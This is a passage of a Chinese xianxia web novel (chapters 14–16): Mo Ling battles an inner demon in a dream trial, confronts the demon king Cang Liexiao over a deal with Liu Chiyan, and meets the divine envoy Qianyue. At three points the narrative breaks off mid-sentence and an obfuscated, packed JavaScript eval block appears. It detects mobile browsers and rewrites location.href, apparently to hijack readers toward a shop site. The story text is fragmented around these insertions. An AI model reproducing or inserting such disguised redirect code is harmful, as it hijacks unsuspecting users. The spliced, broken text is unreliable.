“杀光他们，三界中谁还敢动你一根汗毛？”那魔头狂笑的声音在他脑海中回荡。 杀光他们？成为最强？这是我一直所想的吗？ 或许是的。 想踏平整个三界，想获得他人无法拥有的强大，想将高高在上的人永远跪在自己脚边成为俘虏。 邪念越来越重，他不自觉地唤出双刀，身上慢慢散发出黑色的气息，心魔贪婪地吸取着：“对，就是这样，遵循自己内心，不再重蹈覆辙！哈哈哈哈哈！” ——叮。 刹那间，一声清越的风铃声响起，将莫凌即将失去的理智拉了回来，眸光微亮，黑色的气息随即消散。 心魔刚准备享受发现怨气正逐渐减少，顿时怒火中烧：“你在做什么！你不是想杀了他们吗！就像...” 莫凌不等他说完，一股冰冷的怒意陡然升起，眼中闪过寒光，抬起星刃干净利落地一刀斩断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535315|203793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心魔：“啰嗦。” 他扶了扶额头，努力让自己清醒一点，刚刚那一瞬他脑中响起陌生的女声：“勿听，勿看，凝神守一，我在此处，望心安。” 那句望心安落入他心中时，他一直皱着的眉头终于有些舒缓了。 此刻他不该有任何被牵连的情绪。 梦境留下的残渣只是一种被迫的感同身受，接下来绝对不能再被心魔蛊惑了。 而所谓的上辈子，不过是历史回响，并非今生的选择，他才不信。 莫凌回眸望去，燃烧的巨树只剩下枯枝，而树下那两个身影也已经消失，意识流发出波动，周围画面轰然破裂，黑色的火焰被吞噬了一部分。 第二个场景随之而来。 被血染红的双瞳出现在他面前，是苍裂枭的眼睛，但又不是他熟悉的血眸。 这双眼睛里是无边的憎恨，眼底下藏着一丝不死心的挣扎。 而手握长枪将苍裂枭踩在脚下的正是刚才死在树下的男子。 现在的他，黑着脸猛踩苍裂枭身体，明显是被怒火冲昏了头脑，甚至是临近绝望。 莫凌紧盯着男子与自己相似的脸，他们之间一定有什么联系，又或者，这就是他被遗忘的记忆。 可他为什么要刺穿苍裂枭的双眸？ “看啊，这就是你。”心魔再一次出现，顶着自己的脸说着伪善的话，“如此疯狂，想做什么做什么，想要杀谁谁就会死，拥有一己之私爱恨又算什么东西，败在自己脚下才是真正的强大。” 这就是你内心所想的。 莫凌身体一震，双手握拳强忍着被翻涌的情绪。 与此同时，他袖中的噬青也因这句话产生了共鸣，劣魂斩猛烈颤抖，想要突破星落的压制。 眼前的男子真的是他吗？内心所想的真的全然正确吗？ 那份毁灭一切的愤怒背后是否也掺杂着被背叛的委屈，还是无法承受的迁怒？ 场景静止了，空气安静得能够听到莫凌急促的呼吸声，他的意识快被这恶心的心魔折磨疯了。 “我所想？”莫凌反讽道，低下头扶额，忽然低声冷笑。 紧接抬手撩起前额发丝，紫色的瞳孔透着寒光，眼神与那位男子一样锐利，疯狂，直勾勾盯着心魔。 “不过是只渺小的虫子，偷吃到一些甜果就敢擅自定论他人内心，另一个自己也不过如此。这一切，老子不认！” 莫凌挥起双刀在身前向外双斩击碎所有场景，与心魔一起回到最初的虚空中。 “你！”心魔一时语塞。 莫凌将一把刀架在肩膀，目光瞥向它，歪了歪头，满脸不屑的样子：“心魔又如何，只要我不认，你就无法控制，蠢货。” “我们走着瞧，这场梦你休想醒过来！”心魔留下一句话便消失了。 莫凌在它逃离后目光瞬间转冷，这个心魔估计不是来自真正的内心，而是梦外。 有人在故意看让他到那些画面，催动心中本能的反应。 他猜测是柳池言的第四幻境，但现在自己本体在外面，梦境中也不知能做什么。 莫凌瞄向虚空深处那个一直被锁链封印的画面。 虚空之外，棋盘之上，黑白棋子已厮杀得密不透风，局面不断扩大，而始终被围困在中央的血棋，出现了裂痕。 14. 破妄归真 第三个场景尚未成形，莫凌的意识却引导他主动向前走。 枷锁的背后渗出一缕明亮的阳光，粉紫色的树叶沙沙作响树下的少年晃着脚，抬着胳膊看着手中的一串风铃，脸上带着纯粹的笑意。 一个模糊的白色身影走近，少年雀跃地站起身跑过去说着什么。 那个身影安静的聆听着，就像在是宠溺一个孩子一样。 待少年说完，她伸出手温柔地揉了揉他的头发，他们在说什么一个字也听不清，只有女子那句：“阿音。” 如此清晰地进入莫凌的耳朵，他就这样站在一旁，那或许是他的记忆，又或许是根本不存在的前世。 这个认知带来的不是怀念，而是一种尖锐的割裂感。 那个单纯快乐的少年与满心仇恨冷漠厌世的自己真的是同一个人吗？ 而心魔等待的就是这一刻，利用情感与自我认知的混乱，让他心底的迷茫、愧疚、质疑像毛线一样交织在一起。 将那些最不愿直面感受的一切，一一呈现在他面前，在最虚幻的梦中迎接最现实的折磨。 对失去的记忆不感兴趣？对爱恨情仇不感兴趣？ 那你对自己的存在可感兴趣？ “有一些孽你可以不认，但今生的你有为自己活过吗？”心魔的声音钻进他意识最软的缝隙。 “不关你事！”莫凌的意识开始沸腾，而记忆的漩涡疯狂搅动。 “你活着是为了什么啊，成为他人的俘虏吗？”心魔嘲讽着，场景倏然切换，面前的是他跪在苍裂枭脚下的永远的磕头道歉，“那你成功了，失败者生来就是要给强者下跪的。” 莫凌看到这一场面，瞳孔微缩，呆愣在原地，双手在两侧颤抖。 紧接下一个场景，噬青拿着劣魂斩觉醒死神的意志，他的法力彻底压不住，最终爆体而亡。 “你的计划很不错，可又有什么用呢？”心魔故作遗憾的捡起地上的碎片，“后天的强大比你在原地踏步好像更完美啊。” 心魔轻轻一吹，碎片飞走了，他伸手碰了碰莫凌僵硬的身体：“说来也怪，天选之人怎会被你掌控呢？你就像一个傻子似的自以为操控了一切，可最终你的出处在哪呢？” “梦里吗？”心魔终于忍不住大笑起来。 “闭嘴！”莫凌被他的话激怒，唤出双刀试图毁灭眼前所有虚幻的场景，可毫无用处。 前世的祸乱罪人，五百年的提线木偶，现在又变成了像疯子的小妖。 等他转过身，瞬间停下了动作，一把刀尖几乎抵上他的眉心，心魔和他拿着一样的双刀，声音里带着怜悯的嘲弄：“承认吧，你只是一个用仇恨和傲慢填塞起来的空壳，卑微的奴隶呼吸的工具伪善的帮凶一辈子跪在别人脚边任人宰割的走狗！” “闭嘴！！”莫凌彻底失控，手持双刀震开眉前的刀，狂乱地冲向心魔，杀意愈发浓烈。 黑色的火焰当即吞没了梦境里最后的金色光亮。 心魔轻松挡下所有攻击，笑容依旧，嘴里还不忘继续挑衅：“你拼尽全力证明自己的样子真可笑，但这也恰恰说明你的无能。” 一个意念，莫凌的斩击便撞上无形壁垒，寸寸断裂。 随即，一个灵魂被生生撕扯的剧痛从身体炸开，他蜷缩在地，失去了所有力气。 心魔蹲下身，用冰冷的刃面拍了拍他的脸：“意识的底层会将你的痛苦放大一万倍，我以为你的答案会像刚刚一样直率，没想到，竟如此不堪一击。” “这里是梦境，执念越深，意识越弱，灵魂消散的痛感越重。”心魔的眼中闪过一丝寒意，“想试试被影子斩杀的滋味吗？” 莫凌忽然抬手抓住对方的刀刃，依旧不服输的眼神，挤出一丝笑容，声音沙哑：“能被自己杀死还真是件新颖的事，我倒是...愿意一试。” 心魔应该也没想到自己会如此倔强，双刀齐下，莫凌眼疾手快都握在掌心，刀尖距离他的心脏越来越近。 刀刃如燃烧的火炬灼烧他的掌心，再加上灵魂消散的痛苦，他快撑不住了。 “老子就不信，区区一个影子还想驾驭在我之上！”莫凌咬着牙怒喊道，他已经完全不顾自己性命，灵魂被撕扯的更狠了，沉浸在痛苦中，双手被灼烧的即将消失时，活活捏断对方的双刀。 心魔不可置信地看着手中的双刀隐没，道：“就算是这样，你也毫无胜算了。” 就在莫凌的意识快要毁于此处时，一点温暖的金色光晕忽然在梦境核心处炸开，黑色的火焰瞬间被熄灭。 霎时，梦外的苍裂枭被突如其来的金光猛地弹开。 天界大殿，天尊看到窗外若隐若现的金光，立马回头询问身后的人：“你做了什么？” 悸宛清心若止水，静静地看着棋盘中央的血棋，道：“天尊勿要惊慌，只不过是我那一缕神识，彻底听命于他罢了。” 她察觉到棋子下的裂痕已悄然恢复，正如那破碎的梦境，光晕微弱，却异常稳定。 没有残暴的攻击，也不存在他人降临的救世，而是利用强大的神力简单粗暴地驱散心魔的存在。 那一刻发生了什么，莫凌自然不知晓 他意识薄弱，就连抬起眼皮的力气都没有了，就这样安静的倒在地上，视线模糊。 而悬至在半空的玉佩，正轻轻的将一丝暖意稳住他颤抖的意识核心。 又是朦胧的身影，仿佛在说：无论过往如何狰狞，你就是你，切勿再迷茫。 终于，莫凌的灵魂变得稳定后，抬起眼便看落在自己胸膛的玉佩，胳膊撑地坐起身，他拾起玉佩放在手心，垂下眼眸直勾勾打量着。 你是谁？是来自神界的人吗？为何救我？为何要在我迷失自己时给予一丝温暖？ 这些问题他想过无数次，但这一刻问不出口了。 那次被救的背影已经深深印在他脑海中，虽仅仅一眼之别，但那股令人安心的瞬间不是错觉。 “只有威胁到我生命的时候才会出来保护我吗？”莫凌呢喃道，嘴角不自觉上扬，将玉佩放进自己胸膛处，“希望日后见面，你我不是敌人。” 他的意识波动逐渐清晰，站起身后目光扫过那个在树下单纯的自己，想起刚刚心魔说的话，最终落回到自己身体。 如果没有这个玉佩出手相救他或许真的死在影子手中了。 现在心魔已死但梦境仍在继续，代表自己仍有一个心结未断。 这一世是否有为自己而活过？ 莫凌抬头望着虚假的天空，随后慢慢闭上眼睛，感受梦中的微风吹过，感受阳光洒在身上的温暖。 在一片虚妄中寻找现实的自己，沉默许久后，缓缓睁开眼睛道：“站在这里，就是我。” 他声音不大，却很是坚定：“过去的每一碎片，无论光暗，皆是我途中所必然的经历，无需盼望生死，只需看尽世间美好。” “承载过往，定义今我。” 梦境开始动摇，场景被切割开，在他面前消失。 再次回到虚空，莫凌不知还有什么难题在等着他，尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535316|203793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的枷锁已经消失，只剩下漂浮的文字。 “恨，从何而来？” 莫凌站在这段文字面前，这些许就是他心底未解开的谜题，是关于心魔吗？ 他思考了好久才开口答道：“挥剑相向是一时轻狂，是受蒙蔽之果，此错我认。” “但若问非今生之恨，我须亲见全貌，再行断论。” 这句话说完，整个走廊都在颤抖，所有的画面都被卷入到深渊之中。 莫凌身前的字迹已经消失不见，紧接着一股巨大的斥力袭来，将他硬生生推入了另外一个黑洞之中，地狱。 莫凌猛地睁开眼睛，视线从模糊到清晰，首先映入眼帘的是古宅庭院腐朽的房梁。 将他笼罩的金光和周围的结界符文缓缓暗淡直至消失。 他缓缓从地上坐起，身体有种灵魂离体后又强行塞回的沉重与虚脱感。 头痛欲裂，但眼神却是一种近乎冰冷的清明。 直到一个黑影靠近，莫凌才转过头看出。 苍裂枭站在他旁边，居高临下的姿态，抱着手臂。 从他脸上看不出太多表情，但血眸却呈现一瞬不满的目光，随之取而代之的是一种深沉的审视。 死寂在庭院蔓延，二人之间毫无沟通，互相打量，杀意仿佛与一种更复杂的张力无声弥漫。 空气凝固。 良久，苍裂枭率先开口：“恭喜。”声音听不出喜怒，“居然没疯。” 这是在说反话吗？ 莫凌没有回答，他撑着手臂慢慢站起身，每一个动作都牵扯着灵魂深处的疲惫与痛楚。 他的目光扫过庭院，并不存在柳池言的气息，所以梦境的一切都是苍裂枭亲自布的局？！ 这个想法让莫凌有些震惊，他猜到苍裂枭最初的背叛，却没未料到这七夜之局的赌约是将他推向死亡的道路。 这就是他和柳池言的交易吗，还真是划算。 莫凌垂在两侧的手紧紧握成拳，胸腔沸腾的怒意被他强行压下，想要反抗却又无能为力，因为和他的实力差距太大了。 一个妖界掌管者，一个小妖，胜负还需要通过对抗定义吗？ “大人。”他突然开口，深吸一口气努力保持着平静，仿佛刚才在灵魂深处里挣扎嘶吼的是另一个人。 “妖界中，除您之外还有谁会使用妖火？”莫凌口齿清楚，语气中带着一丝质问。 苍裂枭听闻后，他脸上那层淡漠的审视随之消失，与他四目相对，好像在打量眼前本该握在手中的刀居然敢指向他。 “怎么？”苍裂枭毫不畏惧，微微偏过头，语调轻慢却直接说出他内心所想，“在梦里被我的族人追杀了吗？” 这近乎直白的承认，让莫凌无法直接说出梦境真实的情况，但能够确认幻境中那位拿着燃烧妖火的长枪之人，一定与他有关！ 莫凌没有退缩，迎上那道压迫的目光，这已经不再是简单的驯服或惩罚，而是一场邀请同僚参与猎杀的游戏。 答案明明就在棋盘表面，可他还是无法破局，每走一步都会迎来死亡。 “怎会。”莫凌最终垂下眼帘，压下眸中所有情绪，只剩下顺从的假面。 “属下只是觉得那位枪法很是有趣，若妖界也有这般人，真想认识并领教一番。”他声音低缓，假装轻松地结束话题。 苍裂枭没再说话，眼底沉淀着冰冷的笑意：“等回到妖界，我自会给你介绍。”话音落下，转身离去。 似乎真正的较量，才刚刚开始。 15. 幻境轮回 庭院一时变得宁静，没有月光照耀，周围一片灰蒙蒙的，无法分辨时间。 莫凌见苍裂枭回到客堂的木门依旧附上妖火封印，再一次将他拒之门外，无奈只能走到院落中央的银杏树前，轻身一跃，坐在树枝上，枕着胳膊靠在树干上，闭上眼睛打算整理头绪。 幻境中的红岭村与记忆中的有所不同，再加上他没有与柳池言正面交手过，很难判断真假。 幻梦，能在原有的事件上造假，制造的空间有喜有悲，易沉沦。 《冥妖卷》恶妖，食梦：能让人沉浸在美好的梦境中再也无法苏醒，一夜过后化为白骨。 柳池言自始至终未显露过真身，而苍裂枭在人界碰到他也没有一丝意外，还说不是恶妖。 想到这里，莫凌原本有节奏敲打膝盖的手指突然停下，蓦然睁眼。 他察觉到这其中不对劲，将思绪拉回最初，人界在天尊掌管下也不会允许他人私闯，这里应该只会有逃出来的恶妖以及他和苍裂枭。 但这里却出现了祸乱人间已久的柳池言，无神问罪，无神捕捉。 或许苍裂枭骗了他。 或许，柳池言就是食梦。 莫凌深深地呼出一口气，这些念头出现几乎要压得他喘不过气，他用胳膊遮住眼帘，并非困倦，只不过是为了让大脑平静下来。 可若柳池言是恶妖的话，红岭村几百年的传闻又是从何而来？ 不知道过了多久，第五夜梦境迟迟未出现。 安静得有些反常。 “要认输了吗？”苍裂枭的声音徒然响起。 莫凌举臂闻声看去，见他不知何时已经站在树下正望着自己，脸上还挂着不明的笑意。 “什么意思？”莫凌询问道。 苍裂枭仿佛猜到他会这么问，血眸如此明亮却无杀意，在树下踱步：“经历四次幻境还没有意识到现实与梦境的差距吗？” 莫凌依旧不明白。 “若你就这么死在这里，那么交易就不存在价值了。”苍裂枭停下脚步，伸手施展妖火，轻轻向上一扔，火焰将枝叶燃尽，只留下被烧成深褐色的树干。 而火星却只是穿过他的身体，没有任何伤害。 “要知道，规矩是用来压制野心的，但死于规矩，就证明你的能力永远被限制于此。” 莫凌因为这句话愣了愣。 苍裂枭仿佛见他露出满意的神色，再一挥手面前出现一道火门，毫不犹豫地走了进去，只丢下一句话：“若话语间的真假你已看透，那凭借一双眼睛又会得到怎样的真相？” 最后，他的身影彻底消失在火门中。 庭院沉寂的有些反常，没有风声没有枝叶的沙沙声，只剩下长久的沉默。 片刻后，莫凌终于撑起身子从树上跳了下来，慢慢走到院子中央，双手唤出双刀，自嘲地笑出声。 不愧是妖王，永远猜不透他在想什么。这场交易本身并不是看谁能活到最后，而是执棋人挑选谁最有利于协助自己，才有资格活着。 “原来，自始至终我都没有选择的权力。”话音刚落，古宅下的怨气不再隐藏，四面八方黑气蔓延向他袭去，紧接翻涌的黑气中，缓缓走出一群皮肤发青面部狰狞的傀儡。 莫凌抬眸间，紫色的瞳孔微微一亮，倒映出蜂拥扑来的怪物，道：“那么，就在这一夜结束吧。” 手起刀落中，法力冲击划破雾霾，冲散虚无缥缈的境界，模糊的世界外也是一场毫无硝烟的纷争。 “妖王大人这是何意？” 苍裂枭手中还有未熄灭的火焰，面无表情地看着被脚踩在地上的柳池言，看他似乎还想挣扎，又重重踩了两脚。 柳池言不明所以地说道：“我已经按照计划在幻境中对他进行击杀，说好的七夜，再给我两次机会一定可以……” “可以什么？”苍裂枭出声打断他，抬手玩着掌中的火焰，“你不会以为本王真的只会因为五百年前那点破事而被你说服吧？” 柳池言顿时语塞。 苍裂枭垂眸看他，眸光微亮，晦暗不明，并非纯粹的杀意反而更有几分厌恶的情绪：“你的把戏还真是和过去一样无长进。” 柳池言瞬间恼羞成怒：“不！这和说好的不一样！您答应过我只要杀了他就会放我自由不再被封印的！” “是吗？”苍裂枭不屑地回答他，眉眼间也有几分不耐烦，敷衍道，“那些话本王似乎不记得了，毕竟一场游戏玩得太久，耐心自然也就不存在了。” “你！”柳池言被气得不知如何反驳，似乎想到什么突然改口，“不，我还有机会，那个家伙还在幻境里，我还有机会杀了他！” 苍裂枭没有说话，随后轻笑一声，仿佛听到了有趣的笑话，收回脚不再踩着他：“希望如此。” ----------------- 莫凌眸中紫芒如电，身形微侧，双刀交错挥落，一颗狰狞的头颅应声而断，肮脏的黑血溅到他苍白的脸颊，眼睛未颤一下，任由血液滑落。 黑气中也不再出现其他鬼怪，他就这样静静站在院子中央，脚踩尸骨，而周围躺着的傀儡几乎要堆满整个古宅。 莫凌并未直接收回双刀，而是静静观察着面前这团黑气，试图看出根源，随后他转过身朝别处走去，并丢下一句话：“收拾干净。” 话音刚落，噬青手持劣魂斩出现在他身后，仿佛能透过眼前的阻碍看到那些尸体，道：“是。” 莫凌靠在银杏树旁默默注视着一切，在劣魂斩吞噬大量怨气时，他也会不动声色地压制住噬青的神智，毕竟他的血不会在一个人身上白白浪费。 给予希望之光，却被枷锁系于光尾。 归还窥世之眼，又以永夜为幔。 这或许便是命运所钟爱的把戏。 庭院的傀儡不断地化为灰烬在眼前消失，莫凌以为不会出现转机时，下一秒，劣魂斩与地底产生强烈共鸣，死神虚影再次不受控制地显现。 但并非攻击他，也并非抢占噬青的神智，而是朝着银杏树下发出刺耳的咆哮声。 就在这时，噬青承受巨大压力，金眸在缚目带下渗出金痕，劣魂斩忽然散发出巨大冲击，周围的傀儡全部消失，莫凌用法力勉强护体，抬眸看清面前的一切。 噬青面前仿佛打开了冥界的大门，彼岸花海上躺着一位少女，睡得香甜，直到化为白骨的手缓缓向她伸去，在要碰到时停了下来，隔着空气抚摸着。 但这样的场景只是短暂地出现，噬青的身体一时撑不住这么多怨气的折磨，昏了过去。 劣魂斩没有人体维持也因此失去光芒，回到她的身体里。 刚刚发生的一切都消失不见。 莫凌凝望着她昏倒在地的模样，甩手将其收回，藏匿在自己袖中进行修养。 他知道，噬青身上有很多谜点，但现在不是关心她的时候。 莫凌目光移到旁边被苍裂枭烧成的枯树，刚刚与死神怨气共鸣的地方就在这下面。 记得最初他曾破坏过这棵树，但没过多久都会自动恢复，可这次没有…… 他掌心凝聚法力形成数千条链条，抬手一挥捆住树干，用力一扯，整棵树连根拔起，随之身后的古宅也开始动荡。 撕裂幻象的表皮，莫凌从这里窥见到所谓的真实。 地基下是一个巨大且黑暗的空洞，以及被无数锁链与梦境缠绕的巨物轮廓。 这就是核心了吧。莫凌想。 还没等他攻击，黑洞散发出强烈冲击，接近幻境开始濒临崩溃。 柳池言被迫以更真实的形态现身，表面看上去很是虚弱，他不是为了战斗，而是为了维护梦境稳定。 “怎么，找到如何击杀我的弱点还不满足吗？”柳池言冷嘲热讽道。 莫凌上下打量着他，才明白原来是真身受到严重创伤，核心已经无力维持幻境的强大，为防止瞬间破碎，他额外加了封印。 不过，柳池言是受了什么重击才会变成这样？ 如果只是幻境并不足以伤得如此深，那就只有站在境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535317|203793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外的某人了。 “早知你如此不堪一击，就不和他交易浪费时间了。”莫凌完全没被他的话影响。 “你！”柳池言不死心，双手展开使用法力向他发起攻击。 莫凌别过脸懒得与他打交道，用屏障简单挡下攻击。 “时机已到，柳池言，你终究落了下风。”苍裂枭不知从何处出现，走向核心附近，余光瞥了一眼，道，“虽然很丑，但按照最初约定，这个东西归我了。” “！！” “！？” 二人同时震惊，但莫凌最多的却是疑惑，他不明白这句话什么意思，认为苍裂枭与柳池言的交易会是五百年前的真相才会如此大费周折。 结果，却只是为了妖核？ 苍裂枭看出莫凌心中的疑惑，笑了笑：“不必如此吃惊，我说过，我们都是活在族人骸骨堆上的掌管者。” 莫凌这一次从他口中听到掌管者三个字顿时感到毛骨悚然。 夺走妖种妖核，将不再具备妖力维持身体寿命，最终变得人不像人，妖不像妖，器官衰竭，五感全失，带着一辈子痛苦走向死亡。 苍裂枭蹲下身，伸出手，将妖火覆于掌心，刚准备拾取时，指尖碰到时却被一股强大的抗拒冲击缩回，震得他掌心微微颤抖。 莫凌从苍裂枭眼中细微的不爽察觉到他的能力已经在人界被压到极致，所剩的一成法力也不足以触碰含有封印的妖核。 “不……你不能！”柳池言还没有发现，那张清俊的面容刹那间变得血色尽褪，他的身体僵直如木偶，核心的封印也因真身的执念变得更加牢固。 苍裂枭皱着眉头不满地啧了一声，妖火在他手中剧烈燃烧着：“真是不守规矩。” 谁知，幻境突然坍塌，苍裂枭妖火被打断，莫凌不停向后躲闪，柳池言消失在废墟中。 乱象纷呈的瞬间，一道黑影从远处一闪而过，莫凌瞳孔骤缩，几乎本能地伸手拦住，可抓住的并非实物，而是藤蔓？ 抬眼望去，正对上那双沉静的眼眸，是消失已久的茯苓，她怀里紧抱的正是光芒黯淡的妖核。 “是你？！”莫凌皱着眉惊愕看着她，“你的眼睛……” 茯苓没有说一句话，用藤条甩开他的手，眨眼间便逃掉了。 “站住！”莫凌不死心的追去，看到柳池言要被带走的身影，没有一丝犹豫地将两把刀合二为一，两柄刀的尖端不断延长形成一张弓。 幻境已经不再对任何法力有压制，这就代表柳池言真身撑不了多久。 举起弓，右手用力拉开弓弦，三把虚幻的箭出现在弓上，他眼睛微眯，眼神锁定柳池言逃跑的背影，根本来不及思考。 三支箭矢脱手而出，紧接着莫凌脚下的地面骤然消失，直接坠入谷底，不知结果如何。 周围的一切都变得支离破碎，古老的宅院也随之消失。 地穴暴露的异常能力波动，他和苍裂枭站在红岭村的道路上，莫凌回过神来，立刻环顾四周，一个人都没有：“不见了，被救走了吗？” “不。”苍裂枭突然开口道，他试探性地击碎身旁的石头，空间扭曲，随后眼前的石头又还原了，“我们应该还在幻境中。” 莫凌疑惑：“可是他的核心明明被茯苓……” “你看到她了？”苍裂枭听到这个名字语气变得警惕，转念一想，“如果是这样，以柳池言现在的能力确实无法继续维持梦境，但有了茯苓不一样。” 旃檀茯苓，千古树妖，善用精神催眠，弱点不明。 二人都不再说话，空气安静，只留下长久的沉默。 死寂之中，远处传出清冷又带着困惑的女声，在迷雾深处缓缓道来：“这里是哪里？” 二人闻声望去，只见迷雾渐散，一位身着炽焰红袍，头戴垂纱斗笠的女子出现在眼前。 苍裂枭望着她的身影，定睛一看，不可置信地说道：“千悦？” 她停下脚步微微抬头，纱帘后似有目光投来，声音里带着迟疑：“妖伯伯？” 16. 外魔入侵 莫凌循着声音转过头，而他身边的苍裂枭听到那陌生的称呼，脸上刚才的错愕瞬间敛去，血眸深处掠过更复杂的暗流，似乎被这突如其来的意外打乱了手中精心布置的棋局。 他并未回应那过于亲昵的称呼，而是压着情绪反问：“你怎么会在这，天尊不是对人界事情不感兴趣吗？” 莫凌得知对方来自神界，心中本能戒备起来。 神界之人？为何会出现在这幻境残骸里？不会是苍裂枭准备的第二枚棋子？ 这些疑问出现在脑海中得不到解答，随后他不动声色地向侧后方退了半步，形成一个能同时应对苍裂枭与这位神秘女子的防备姿态。 女子千悦并未立即回答，她抬起纤手拿下垂纱斗笠，黑色长发以实木发簪挽起，五官精致却带着不容置喙的强势，额见有红色神印点缀，衬得那双清澈的墨色眼眸更具有穿透力。 她的视线先是在苍裂枭身上短暂停留，眼底留下近乎无奈的熟稔，而余光转向莫凌时，又化为片刻审视与疏离。 千悦微微颔首，礼仪周全，声音空灵：“我奉天尊之命巡守人界，因恶妖在人界四处祸乱，扰乱命理，造成因果经纬崩断，现在只能暂时用神力强行护住。” “多此一举。”苍裂枭不屑地白了一眼，环抱双臂，“既然是巡守，怎么会跑到这荒无人烟的地带，难不成你这小屁孩不知道红岭村几百年前就消亡了吗？” 千悦对他的讥讽仿佛早有预料，连眉梢都未动一下：“妖伯伯此言差矣，”她语气平稳，继续道，“我是寻着恶妖残留的气息才到此处，似乎是个极善制造空间的妖物。” “此地时空紊乱如麻。”莫凌忽然开口，似在自语，又似在思考，“同为幻境却源自不同妖物，本不应交叠的轨道纠缠于此……” 他站在原地陷入沉思，未曾注意到千悦因他这番推断，审视的目光再次投来。 莫凌回想起什么，笃定道：“大概是吞梦兽，此妖身为灵体，只能寄居在他人意识中存活，窃取美梦为食，贪玩且爱在梦境中穿梭嬉戏，但短时间内不会立刻夺人性命。” 千悦听后，似乎不擅掩饰脸上的表情，她用满是质疑与不信任的眼神打量着他，语气尖锐：“若依你所言此恶妖是拥有穿梭梦中能力，刚刚我可从未进入过任何幻境，要怎么证实我从一开始就是在梦中。” 她的话明显针对莫凌的逻辑漏洞，属实无法回答，毕竟自身并没有接触到吞梦兽，也不知千悦是从何处被牵引进来的。 “双重梦境的封印，就算人在清醒时也会被牵扯进梦中。”苍裂枭略显不耐烦的声音响起，解释得简单粗暴，“贪吃的蠢货看到满是神力的家伙会利用意识流在现实制造幻象引人入梦，一时的误入，恰好碰到比自己强大的家伙，自然无法轻易逃脱。” 千悦的视线瞬间从莫凌身上移开转向苍裂枭，那眼神里的质疑并未完全消散，纤长的睫毛垂下，就这样沉默许久。 等她再次抬眸，没有了方才的锋芒，而是一种决断的语气：“原来如此，那一切都听妖伯伯的。” 莫凌见她只对苍裂枭唯命是从，心中难免有些不爽，但更多的是不理解，从千悦身上能感受到莫名的敌意，似乎只有在苍裂枭发话时才会收敛一些。 “吾乃神界神使，千悦。”她的目光清正，望向莫凌，再次颔首以表尊重，“奉命而行，请多关照。” 莫凌神情愣了愣，眼眸幽暗，回过神后选择同样的颔首，不慌不忙地介绍自己：“妖界妖奴，莫凌。” 妖神两界有个不成文规矩，妖族内除妖王外，任何人见到神族必须鞠躬跪拜，以表尊敬。 传闻，妖王的一时无能成就了神族刻在骨子里的傲慢。 莫凌从未将这些无聊的东西放在眼里，在这里相遇就没有低人一等的道理，更不存在高高在上的真理。 明显这一举动让千悦冷漠的神情变得很是不满，横了他一眼：“妖伯伯，有时候还是要多教育下人什么叫规矩。” 莫凌连眼睫都未动一下，将她的不满彻底视作空气。 话音落下的瞬间，庭院残留的幻象发出不堪重负的呻吟，千悦不再看他，而是下意识闻声望向远处。 “此地污浊沉淀，我的神力若直接去除，可能会造成梦境回缩反噬寄主。”千悦手中的斗笠随风消散，抬起胳膊掌心相对结印，指尖凝光，慢慢拉开后一柄长剑出现在她胸前，稳稳落于手中。 “外面恶妖的实力应该不容小觑。”她目光环绕四周，沉思片刻后，“我需要一个支点，从内部撕裂吞梦兽的空间找到外界出口，这样可以一击突破。” 苍裂枭血眸微眯，转头将视线落在莫凌身上，扯出一个得意的笑容：“听见了？诱饵，该去送命了。” 莫凌心下一沉，那股被当作棋子的冰冷感再次攫住心脏。 他洞悉一切，茯苓制造的障眼法、柳池言法力的虚弱、千悦被隐瞒的现状。 苍裂枭并非不知，他只是在享受这场可笑的戏剧，而自己永远是戏台上最先流血的丑角。 再加上吞梦兽的参与，只要千悦的能力没有被人界完全压制，使出全力即可破境，却偏偏要自己踏出一条血路。 “他？”千悦的目光再次扫向莫凌，那双清透的眼眸里流露出评估。 莫凌刚想反驳时，脑海中忽然传来苍裂枭的声音：“若不想，就下跪磕头补偿你刚刚无礼的行为。” 莫凌张了张嘴，最后深吸一口气什么都没说，胸腔都在颤抖，咬了咬下唇，低声：“星落。” 双刀出现在手中后，他越过千悦走向街道中央，闭上眼睛，将意识沉入与星落的意识流，让噬青剥离出一丝劣魂斩的死亡气息融合在这片净土。 黑气围绕着双刀，莫凌猛地睁开眼睛，空旷的街道凭空出现傀儡向他袭来。 他紧握刀柄，双刀交叠猛劈而下，心中压制的怒火这一刻全部释放了出来。 周围“嗡”的一声巨响，整个空间剧烈震颤，身边的屋舍虚影开始扭曲。 莫凌将虚幻的傀儡清理干净后，抬眸定睛一看，发现吞梦兽被梦境困住的夹层，轻身跳去，双刀划过之处留下两道深痕，天空顿时流出暗红的血液。 